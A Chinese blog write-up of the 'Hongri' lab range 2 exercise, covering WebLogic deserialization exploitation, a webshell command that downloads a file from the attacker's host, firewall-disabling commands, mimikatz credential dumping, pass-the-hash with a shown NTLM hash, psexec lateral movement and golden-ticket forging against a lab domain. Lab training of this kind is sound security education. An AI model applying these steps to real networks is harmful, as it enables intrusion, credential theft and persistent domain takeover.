红日靶场2

红日靶场2

环境配置

web:

1
2
外网ip - 192.168.10.80
内网ip - 10.10.10.80

PC:

1
2
3
外网ip - 192.168.10.201
内网ip - 10.10.10.201
OS:Windows 7

DC:

1
2
3
4
内网ip - 10.10.10.10
webPC、DC都处于同一域环境内,需要手动开启weblogic服务
OS:Windows 2012
应用:AD域

考察的相关技能

1
2
3
4
5
6
7
8
9
10
Bypass UAC
Windows系统NTLM获取(理论知识:Windows认证)
Access Token利用(MSSQL利用)
WMI利用
网页代理,二层代理,特殊协议代理(DNS,ICMP)
域内信息收集
域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
域凭证收集
后门技术(黄金票据/白银票据/Sid History/MOF)

外网打点

这里便于使用物理机上工具给web多加了一个网卡(192.168.52.0/24)以便物理机能够访问。

先收集一下信息,靶机开了防火墙是禁止ping的。可以看到一些容易攻击的端口都开放了。

扫描一下详细信息。445端口开启其实就是说明存在smb服务,可能会存在ms系列的漏洞攻击比如MS17-010等等,135端口开了也就是Samba服务就可能存在爆破/未授权访问/远程命令执行漏洞,1433端口则说明该服务器部署mssql,可能存在mssql弱口令从而通过mssql命令执行及提权等操作.而7001端口就是weblogic服务也是很大可能存在漏洞攻击的地方。



看到7001端口大概率是weblogic,爆破下目录。在7001端口下发现weblogic服务。

weblogincscan扫一下,发现存在两个反序列化漏洞cve

渗透的话直接找个exp打,但是直接用冰蝎连接不成功。此处可以直接利用命令行工具远程下载木马,windows下载命令参考windows命令行工具,然后冰蝎连接。

1
http://192.168.52.138:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.52.1:7777/jsp.txt','C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\servers\\AdminServer\\tmp\\_WL_internal\\bea_wls_internal\\9j4dqk\\war\\evil.jsp')

后面发现一个好用的工具,也可以直接上传webshell。

冰蝎连接之后也是为了更方便的cs上线或者攻击内网,其实也可以远程下载exe文件然后执行。

收集一下信息,机子上有两个用户,administrator不是域用户,猜测可能de1ay为域用户,发现存在3个网段,其中192.168.52.1是主机模式网段,判断内网还存在192.168.111.1/24和10.10.10.1/24两个网段

查看一下ip,发现两个ip,10开头的大概率就是内网。

存在de1ay域环境。

关闭防火墙,关闭之后是可以ping了的,不过也是为了防止cs上不了线。

1
2
netsh advfilewall show allprofiles state
netsh advfilewall set allprofiles state off

内网提权信息收集

用冰蝎上传一个cs生成的exe,实际环境中肯定需要免杀木马的,直接运行cs上线。
直接还是常规做法先hashdump下密码还有mimikatz抓下明文密码,因为是windwos 2008这里直接就有明文密码。大概率是域控登录过这台机子所以也留下了凭证。

可以尝试先哈希传递攻击,这个靶场我没改密码所以密码恰巧都是一样所以hash传递攻击很方便。但我们拿到的这个机子的adminitrator不在域中,尝试用de1ay用户的ntlm hash来传递。

1
pth de1ay\Administrarot 161cff084477fe596a5db81874498a24

利用管道访问dc域控

不过正常来讲应该先提权,这里可以直接用cs的svc-exe提权,其实本质上还是psexec提权.

1
2
3
4
5
使用前提:
开启admin共享(默认开启)(关闭的话会提示找不到网络名)
对方未开启防火墙
若是工作组环境必须要administrator用户(其他会提示拒绝访问)
若是域环境,普通域用户/域管理员都可。普通域->普通域主机,域控->管理员账户

然后需要收集域信息的话就需要一个域用户。这里有几种打法

1
2
3
4
使用凭证有三种方法
第一种:使用make_token去调用
第二种:使用pth命令生成一个新的进程注入进去,然后steal_token使用
第三种:使用spawn as

这里用的第二种方法,spawnas不知道为啥不行。

查看域用户,除了mssql还有de1ay用户。

域控就是dc,

域机器有两台,PC$和WEB$

所以现在域内其实就三台机子

1
2
3
4
域控dc 10.10.10.10
域成员: administrator mssql de1ay krbtgt
域管理员:administrator
域内服务器:PC$,WEB$

开始收集域内其它主机信息

1
2
3
4
10.10.10.10 域控 DC
10.10.10.80 WEB 服务器
10.10.10.201 PC 主机

横向移动

考虑直接psexec横向移动,监听器必须选择smb

成功上线dc域控,pc没有成功可能开启防火墙了。

后来将pc防火墙关闭就能全部上线了。

制作黄金票据

既然拿到域控了,看看能否dump krbtgt的hash来制作黄金票据,这样就能伪造任意用户了。能制作黄金票据意味着你大概率已经掌握了域控权限,因为黄金票据最重要的就是需要获取到krbtgt的ntlm hash,所以可以用来权限维持。当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。
伪造黄金凭据需要具备下面条件:

1
2
3
4
krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID
要伪造的用户名

获取krbtgt hash

获取域管sid

1
shell wmic useraccount where name="administrator" get sid

cs制作黄金票决

即可访问dc主机


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!